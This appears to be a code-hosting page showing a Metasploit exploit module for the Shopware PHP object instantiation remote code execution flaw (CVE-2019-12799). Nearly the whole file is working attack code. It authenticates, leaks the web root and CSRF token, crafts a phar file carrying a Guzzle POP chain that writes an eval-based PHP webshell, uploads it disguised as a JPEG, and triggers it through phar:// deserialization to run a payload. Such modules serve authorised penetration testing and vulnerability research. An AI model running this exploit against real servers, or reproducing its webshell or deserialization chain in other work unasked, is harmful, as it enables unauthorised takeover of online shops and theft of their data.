PageRenderTime 47ms CodeModel.GetById 21ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb

https://github.com/rapid7/metasploit-framework
Ruby | 283 lines | 262 code | 17 blank | 4 comment | 26 complexity | ea9b05e2343a8dd19dd377f7bd1d5620 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ExcellentRanking
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::FileDropper
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
  12. 'Description' => %q(
  13. This module exploits a php object instantiation vulnerability that can lead to RCE in
  14. Shopware. An authenticated backend user could exploit the vulnerability.
  15. The vulnerability exists in the createInstanceFromNamedArguments function, where the code
  16. insufficiently performs whitelist check which can be bypassed to trigger an object injection.
  17. An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
  18. the target system, resulting in remote code execution.
  19. Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
  20. ),
  21. 'License' => MSF_LICENSE,
  22. 'Author' =>
  23. [
  24. 'Karim Ouerghemmi', # original discovery
  25. 'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module
  26. ],
  27. 'References' =>
  28. [
  29. ['CVE', '2019-12799'], # yes really, assigned per request
  30. ['CVE', '2017-18357'], # not really because we bypassed this patch
  31. ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation
  32. ],
  33. 'Platform' => 'php',
  34. 'Arch' => ARCH_PHP,
  35. 'Targets' => [['Automatic', {}]],
  36. 'Privileged' => false,
  37. 'DisclosureDate' => '2019-05-09',
  38. 'DefaultTarget' => 0))
  39. register_options(
  40. [
  41. OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
  42. OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),
  43. OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])
  44. ]
  45. )
  46. end
  47. def do_login
  48. res = send_request_cgi(
  49. 'method' => 'POST',
  50. 'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),
  51. 'vars_post' => {
  52. 'username' => datastore['username'],
  53. 'password' => datastore['password'],
  54. }
  55. )
  56. unless res
  57. fail_with(Failure::Unreachable, "Connection failed")
  58. end
  59. if res.code == 200
  60. cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
  61. if res.nil?
  62. return
  63. end
  64. return cookie
  65. end
  66. return
  67. end
  68. def get_webroot(cookie)
  69. res = send_request_cgi(
  70. 'method' => 'GET',
  71. 'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
  72. 'cookie' => cookie
  73. )
  74. unless res
  75. fail_with(Failure::Unreachable, "Connection failed")
  76. end
  77. if res.code == 200
  78. return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
  79. end
  80. return
  81. end
  82. def leak_csrf(cookie)
  83. res = send_request_cgi(
  84. 'method' => 'GET',
  85. 'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
  86. 'cookie' => cookie
  87. )
  88. unless res
  89. fail_with(Failure::Unreachable, "Connection failed")
  90. end
  91. if res.code == 200
  92. if res.headers.include?('X-Csrf-Token')
  93. return res.headers['X-Csrf-Token']
  94. end
  95. end
  96. return
  97. end
  98. def generate_phar(webroot)
  99. php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
  100. register_file_for_cleanup("#{@shll_bd}.php")
  101. pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
  102. pop << "s:#{php.length}:\"#{php}\";"
  103. pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
  104. pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"
  105. pop << "a:3:{s:5:\"Value\";"
  106. pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
  107. pop << "s:7:\"Expires\";"
  108. pop << "b:1;"
  109. pop << "s:7:\"Discard\";"
  110. pop << "b:0;}}}}"
  111. file = Rex::Text.rand_text_alpha_lower(8)
  112. stub = "<?php __HALT_COMPILER(); ?>\r\n"
  113. file_contents = Rex::Text.rand_text_alpha_lower(20)
  114. file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
  115. manifest_len = 40 + pop.length + file.length
  116. phar = stub
  117. phar << [manifest_len].pack('V') # length of manifest in bytes
  118. phar << [0x1].pack('V') # number of files in the phar
  119. phar << [0x11].pack('v') # api version of the phar manifest
  120. phar << [0x10000].pack('V') # global phar bitmapped flags
  121. phar << [0x0].pack('V') # length of phar alias
  122. phar << [pop.length].pack('V') # length of phar metadata
  123. phar << pop # pop chain
  124. phar << [file.length].pack('V') # length of filename in the archive
  125. phar << file # filename
  126. phar << [file_contents.length].pack('V') # length of the uncompressed file contents
  127. phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
  128. phar << [file_contents.length].pack('V') # length of the compressed file contents
  129. phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
  130. phar << [0x1b6].pack('V') # bit-mapped file-specific flags
  131. phar << [0x0].pack('V') # serialized File Meta-data length
  132. phar << file_contents # serialized File Meta-data
  133. phar << [Rex::Text.sha1(phar)].pack('H*') # signature
  134. phar << [0x2].pack('V') # signiture type
  135. phar << "GBMB" # signature presence
  136. return phar
  137. end
  138. def upload(cookie, csrf_token, phar)
  139. data = Rex::MIME::Message.new
  140. data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
  141. res = send_request_cgi(
  142. 'method' => 'POST',
  143. 'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),
  144. 'ctype' => "multipart/form-data; boundary=#{data.bound}",
  145. 'data' => data.to_s,
  146. 'cookie' => cookie,
  147. 'headers' => {
  148. 'X-CSRF-Token' => csrf_token
  149. }
  150. )
  151. unless res
  152. fail_with(Failure::Unreachable, "Connection failed")
  153. end
  154. if res.code == 200 && res.body =~ /Image is not in a recognized format/i
  155. return true
  156. end
  157. return
  158. end
  159. def leak_upload(cookie, csrf_token)
  160. res = send_request_cgi(
  161. 'method' => 'GET',
  162. 'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
  163. 'cookie' => cookie,
  164. 'headers' => {
  165. 'X-CSRF-Token' => csrf_token
  166. }
  167. )
  168. unless res
  169. fail_with(Failure::Unreachable, "Connection failed")
  170. end
  171. if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
  172. bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
  173. register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
  174. return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
  175. end
  176. return
  177. end
  178. def trigger_bug(cookie, csrf_token, upload_path)
  179. sort = {
  180. "Shopware_Components_CsvIterator" => {
  181. "filename" => "phar://#{upload_path}",
  182. "delimiter" => "",
  183. "header" => ""
  184. }
  185. }
  186. res = send_request_cgi(
  187. 'method' => 'GET',
  188. 'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
  189. 'cookie' => cookie,
  190. 'headers' => {
  191. 'X-CSRF-Token' => csrf_token
  192. },
  193. 'vars_get' => { 'sort' => sort.to_json }
  194. )
  195. unless res
  196. fail_with(Failure::Unreachable, "Connection failed")
  197. end
  198. return
  199. end
  200. def exec_code
  201. send_request_cgi({
  202. 'method' => 'GET',
  203. 'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),
  204. 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
  205. }, 1)
  206. end
  207. def check
  208. cookie = do_login
  209. if cookie.nil?
  210. vprint_error "Authentication was unsuccessful"
  211. return Exploit::CheckCode::Safe
  212. end
  213. csrf_token = leak_csrf(cookie)
  214. if csrf_token.nil?
  215. vprint_error "Unable to leak the CSRF token"
  216. return Exploit::CheckCode::Safe
  217. end
  218. res = send_request_cgi(
  219. 'method' => 'GET',
  220. 'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
  221. 'cookie' => cookie,
  222. 'headers' => { 'X-CSRF-Token' => csrf_token }
  223. )
  224. if res.code == 200 && res.body =~ /Shop not found/i
  225. return Exploit::CheckCode::Vulnerable
  226. end
  227. return Exploit::CheckCode::Safe
  228. end
  229. def exploit
  230. unless Exploit::CheckCode::Vulnerable == check
  231. fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
  232. end
  233. @phar_bd = Rex::Text.rand_text_alpha_lower(8)
  234. @shll_bd = Rex::Text.rand_text_alpha_lower(8)
  235. @header = Rex::Text.rand_text_alpha_upper(2)
  236. cookie = do_login
  237. if cookie.nil?
  238. fail_with(Failure::NoAccess, "Authentication was unsuccessful")
  239. end
  240. print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
  241. web_root = get_webroot(cookie)
  242. if web_root.nil?
  243. fail_with(Failure::Unknown, "Unable to leak the webroot")
  244. end
  245. print_good("Stage 2 - leaked the web root: #{web_root}")
  246. csrf_token = leak_csrf(cookie)
  247. if csrf_token.nil?
  248. fail_with(Failure::Unknown, "Unable to leak the CSRF token")
  249. end
  250. print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
  251. phar = generate_phar(web_root)
  252. print_good("Stage 4 - generated our phar")
  253. if !upload(cookie, csrf_token, phar)
  254. fail_with(Failure::Unknown, "Unable to upload phar archive")
  255. end
  256. print_good("Stage 5 - uploaded phar")
  257. upload_path = leak_upload(cookie, csrf_token)
  258. if upload_path.nil?
  259. fail_with(Failure::Unknown, "Cannot find phar archive")
  260. end
  261. print_good("Stage 6 - leaked phar location: #{upload_path}")
  262. trigger_bug(cookie, csrf_token, upload_path)
  263. print_good("Stage 7 - triggered object instantiation!")
  264. exec_code
  265. end
  266. end